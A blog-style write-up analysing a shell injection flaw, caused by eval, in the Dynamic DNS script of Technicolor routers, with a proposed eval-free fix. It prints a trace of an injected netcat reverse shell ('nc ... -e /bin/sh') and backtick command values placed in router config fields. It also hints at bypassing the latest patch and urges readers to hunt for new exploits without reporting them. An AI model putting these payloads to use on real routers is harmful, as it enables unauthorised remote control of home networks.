Reflecting on the Technicolor 2018 Exploit

5 years later I have found a large number of exploits after more than 1000 documented hours I spent on this router and at least 20 different devices from different mistakes but oh how I have learned a lot in this time, therefore I want to present a small final part of this router as I am now going to continue with the Telia F1 which has the same problem but thanks to the hours I put in it is extremely easy to get into the routers from technicolor, but to sum up a short version for all the curious here you have the problems in Technicolor's routers. TO fix this, almost the entire router's third-party script must be rewritten.

Navigating Persistent Security Risks: A Critical Analysis of the 2018 Exploit, Unraveling Potential Entry Points Despite Latest Firmware Updates for Telia Customers. Five years have passed since the discovery of the 2018 Exploit in our ISP's router system. During this period, I have conducted a diligent search to uncover a comprehensive explanation of the exact cause of the exploit. Regrettably, available information seemed riddled with speculations and lacked a definitive account

As of August 5, 2023, I am finally in a position to address this issue and provide the missing details. In an effort to foster a better understanding of the risks associated with certain scripting practices, I present a detailed analysis of the incident based on a thorough review of our records.

The True Cause of the Exploit

The root cause of the exploit does not revolve around inadequate sanitization of IP addresses, as some sources suggest. Instead, I firmly argue that the primary issue lies in the improper use of shell scripting, particularly the highly dangerous eval function. Utilizing eval without caution poses significant security risks.

It is crucial to highlight the need for extreme care when deploying eval in any context. I aim to shed light on the vulnerability by providing a detailed analysis of the code, pinpointing the specific flaw, and discussing the potential risks and impact.

Shell Injection Vulnerability in Dynamic DNS Script - A Detailed Analysis

While some sources suggest the possibility of injecting shell code in the Dynamic DNS script used by Technicolor routers might be due to inadequate sanitization of IP addresses, I argue that the root cause lies in the misguided use of eval. There's a compelling reason why eval should be handled with extreme caution and, if used, thoroughly tested in every context.

This incident serves as yet another cautionary tale highlighting the dangers of improper coding practices and the potential consequences of relying on eval for executing dynamic code. A fundamental understanding of the risks associated with eval and rigorous data validation practices are critical to ensure the robustness and security of any script.

The following is the detailed report of the vulnerability, including the code snippet where the flaw resides, as well as my thorough analysis and recommended mitigation strategies.

Bonus Update: Testing and Exploration of the Latest Patch

To test the new update, we can utilize the following command from the latest firmware and file: dynamic_dns_functions.sh

sanitize_variable "FOO" "FOO"

This command allows us to explore how the eval function can once again be leveraged in the new part of the router. We can also examine different methods to bypass the filter. Unfortunately, this represents a poor patch and an insecure setup from the ground up.

However, since the script begins as it does, you can use the backtick (`) as the first character in the script for the latest version. Allow me to demonstrate in this video:

When examining the logs, the action appears to be stopped at first glance, but we bypass it in the modal. Though I haven't had the time to explore this fully and don't use the router myself, I must stress that the script is far from secure, and it also utilizes backticks once.

Here is the log with the following backtick (`) or caret (^) on the latest firmware:

 172823       : verbose mode  : 0 - run normal, NO console output
 172823  CRIT : sanitize on lookup_host found characters outside allowed subset - TERMINATE
 172824  WARN : PID '8716' exit WITH ERROR '1' at 2023-08-07 17:28

 172832       : ************ ************** ************** **************
 172832  note : PID '9004' started at 2023-08-07 17:28
 172833       : ddns version  : 2.7.6-16
 172833       : uci configuration:
ddns.myddns_ipv4.cacert='IGNORE'
ddns.myddns_ipv4.domain='`reboot'
ddns.myddns_ipv4.enabled='1'
ddns.myddns_ipv4.force_interval='36500'
ddns.myddns_ipv4.force_unit='days'
ddns.myddns_ipv4.interface='wan'
ddns.myddns_ipv4.ip_network='wan'
ddns.myddns_ipv4.ip_source='network'
ddns.myddns_ipv4.lookup_host='`reboot'
ddns.myddns_ipv4.password='^reboot'
ddns.myddns_ipv4.service_name='desec.io'
ddns.myddns_ipv4.use_https='1'
ddns.myddns_ipv4.username='ls`
ddns.myddns_ipv4=service
 172833       : verbose mode  : 0 - run normal, NO console output
 172833  CRIT : sanitize on lookup_host found characters outside allowed subset - TERMINATE
 172833  WARN : PID '9004' exit WITH ERROR '1' at 2023-08-07 17:28

Updated Fix for the Script

In response to the concerns raised, an updated fix has been implemented in the script to enhance security. Below is the updated code snippet that addresses the previous vulnerabilities:

SHELL_ESCAPE="[\"\'\`\$\!();><{}?|\[\]\*\\\\]"                               
DNS_CHARSET="[@a-zA-Z0-9._-]" 

sanitize_variable() {     
local __VAR=$1                                                      
eval __VALUE=\$$__VAR
local __ALLOWED=$2        
local __REJECT=$3 
if [ -n "$__ALLOWED" ]; then                                                  
[ -z "${__VALUE//$__ALLOWED}" ] || write_log 12 "sanitize on $__VAR found characters outside allowed subset"
fi                                  
if [ -n "$__REJECT" ]; then                                                 
[ "$__VALUE" = "${__VALUE//$__REJECT}" ] || write_log 12 "sanitize on $__VAR found rejected characters"
fi                                                                              
} 

Shell Injection Vulnerability in Dynamic DNS Script - Part 1

I discovered a potential security vulnerability in the Dynamic DNS script (dynamic_dns_updated.sh) used by Technicolor routers. The vulnerability arises from the improper use of eval, which can lead to Shell Injection and potentially allow an attacker to execute arbitrary commands on the system.

Background

The Dynamic DNS script is designed to update the DNS records for the router, allowing it to be accessed via a domain name rather than a dynamic IP address. However, in the script, eval is used to evaluate a string that contains user-provided or dynamically generated data. This can lead to unexpected command execution if the input is not properly sanitized.

Vulnerable Code

The vulnerable part of the code can be found in /usr/lib/ddns/dynamic_dns_functions.sh and is invoked from dynamic_dns_updated.sh. Specifically, the problematic code snippet is as follows:

__RUNPROG="$NSLOOKUP $lookup_host $dns_server >$DATFILE 2>$ERRFILE"
while : ; do
    write_log 7 "#> $__RUNPROG"
    eval $__RUNPROG
    __ERR=$?
    # ... continuation of the code ...
done

Analysis

1. The script constructs the command to be executed in the __RUNPROG variable, which includes output redirection (>) and error redirection (2>).

2. The script then uses eval to execute the command stored in __RUNPROG. Since eval evaluates the entire string, including the redirection instructions, it can lead to the execution of unintended commands.

3. An attacker as you all know could potentially manipulate the input values ($lookup_host or $dns_server) to include malicious commands or modify the redirection instructions. This can result in arbitrary code execution on the system and so it did.

Mitigation

To mitigate the Shell Injection vulnerability, it is essential to properly validate and sanitize all user-provided or dynamically generated data before using it in eval or any other commands. Avoid using eval whenever possible, as it introduces complexity and increases the risk of security flaws.

Conclusion

The improper use of eval in the Dynamic DNS script can lead to a Shell Injection vulnerability, potentially exposing the system to unauthorized access and arbitrary code execution. By carefully validating and sanitizing input data and avoiding the use of eval

Detailed Analysis of the Vulnerable Code - Part 2

In the context of the Dynamic DNS script, the following code snippet is found:

+ eval /usr/bin/nslookup ::::::;nc 192.168.1.96 1337 -e /bin/sh >/var/run/ddns/myddns_ipv4.dat 2>/var/run/ddns/myddns_ipv4.err
+ /usr/bin/nslookup ::::::
nslookup: can't resolve '::::::': Name or service not known
+ nc 192.168.1.96 1337 -e /bin/sh
+ __ERR=1

The sequence of events begins with the use of eval, which evaluates the entire string that follows. The first part of the string is the nslookup command, attempting to resolve the invalid domain name "::::::". As expected, nslookup fails with the error message "nslookup: can't resolve '::::::': Name or service not known."

After the failed nslookup, the script proceeds to the next part of the evaluated string, which is the nc (netcat) command. The nc command attempts to connect to IP address 192.168.1.96 on port 1337 and execute a shell (/bin/sh) over the connection.

However, due to the failure of the nslookup command, the nc command does not execute. This is evident from the log, where nc is not triggered and the error variable __ERR is assigned the value 1.

The critical concern here is the use of eval, which merges multiple commands into a single command line. As a result, the nc command, which poses a significant security risk, is chained together with the failed nslookup command.

Potential Consequences Without eval

/usr/bin/nslookup ::::::
nslookup: can't resolve '::::::': Name or service not known

The failed nslookup command would return the error message as before, but the nc command would not run. This is because the nc command is not directly related to the nslookup command; hence, there is no attempt to execute it after the nslookup failure.

As a result, without eval, the potential security risk of chaining nc with nslookup is avoided.

Summary and Final Thoughts on the Dynamic DNS Script Update

To summarize the entire dynamic_dns_functions.sh script after the upgrade with minimal updates, I want to point out a few areas that could be potentially dangerous:

1. Usage of eval: The eval function is employed a staggering 31 times throughout the script. While eval is a powerful tool, its misuse can lead to serious vulnerabilities such as code injection.

2. Backticks for Command Substitution: The script also makes use of backticks, an outdated method for command substitution, which can lead to readability and maintainability issues.

3. Unprotected Command Substitution and Lack of Quoting:

4. Line 6: MYPROG=$(basename $0): This can lead to unexpected behavior if the variable contains spaces or special characters.

5. Lines 31-33: Usage of unprotected command substitutions without proper validation or quoting can lead to code injection:

   • LUCI_HELPER=$(printf %s "$MYPROG" | grep -i "luci")
   • BIND_HOST=$(which host)
   • KNOT_HOST=$(which khost)

6. Line 88: eval "\(1=\\"\)__DATA\"": Assigning values using eval without proper validation can lead to code execution if malicious data is passed.

7. Line 196: eval "\(1=\\"\)__ENC\"": Similar to above, this usage of eval can be exploited if the contents of the variable are not carefully controlled.

8. Line 209: eval "\(1=\\"\)__URL\"": This pattern of using eval to assign variables continues through the script, each instance potentially exposing the system to risk if not handled with caution.

9. Lines 210-219: Multiple instances of eval for variable assignments. While the intent might be benign, the lack of input sanitization and validation could lead to unintended code execution.

These examples show a recurring pattern of using eval for variable assignments without apparent safeguards. While eval is a powerful tool, its misuse can lead to severe vulnerabilities, especially if user-supplied data or other untrusted inputs can reach the evaluated code.

It's essential to review these instances carefully and consider safer alternatives or ensure rigorous validation and sanitization of the inputs. The consistent use of eval in this manner suggests a need for a thorough review of the entire script to identify and mitigate potential risks.

I strongly urge my followers who reads this post to thoroughly test these areas since they will bring you a new exploit for this router from the same script that was earlier fixed.

Problem Description

The original implementation of the sanitize_variable function in the dynamic DNS script used the eval command, which could lead to potential code execution vulnerabilities if not handled properly. An example of the original code is as follows:

sanitize_variable() {
    local __VAR=$1
    eval __VALUE=\$$__VAR
    local __ALLOWED=$2
    local __REJECT=$3
    ...
}

Proposed Solution

The function can be rewritten without using eval, making it more secure. Here's the revised code:

sanitize_variable() {
    local __VAR="$1"
    local __VALUE="${!__VAR}"  # Indirect reference to get the value of the variable
    local __ALLOWED="$2"
    local __REJECT="$3"
    if [ -n "$__ALLOWED" ]; then
        [ -z "${__VALUE//$__ALLOWED}" ] || write_log 12 "sanitize on $__VAR found characters outside allowed subset"
    fi
    if [ -n "$__REJECT" ]; then
        [ "$__VALUE" = "${__VALUE//$__REJECT}" ] || write_log 12 "sanitize on $__VAR found rejected characters"
    fi
}

This update removes the use of eval and uses an indirect reference to safely access the variable's value.

Conclusion

I am not impressed with Technicolor's shell scripting. The recent updates and lingering issues highlight the lack of thorough code review and testing, which is concerning. Safety and reliability should always be a priority when developing code.

Upon inspecting the script, it becomes evident that Technicolor is not responsible for the updates, and the years have not been properly updated since the last modification in 2021, showing "2017" instead. This negligence raises doubts about the company's professionalism and their approach to software development. As I do not collaborate with this company, I strongly disapprove of their practices, which may potentially lead to unsafe situations. However, I am not inclined to report the issue or take any further action.

It's worth noting that Technicolor is not the copyright holder, and out of respect for the creator's anonymity, I would like to emphasize the need for them to be more mindful and responsible when handling code.

In conclusion, Technicolor's shell scripting falls short in terms of quality and safety due to the recent updates and issues. Diligent code review and testing should be a priority to avoid potential problems.

Final words

This setup is once again extremely risky. Those who understand how it works and have both the time and interest in bypassing the latest firmware to find a new way in will find many possible entry points, that's something I can guarantee.

The End

Happy Hacking!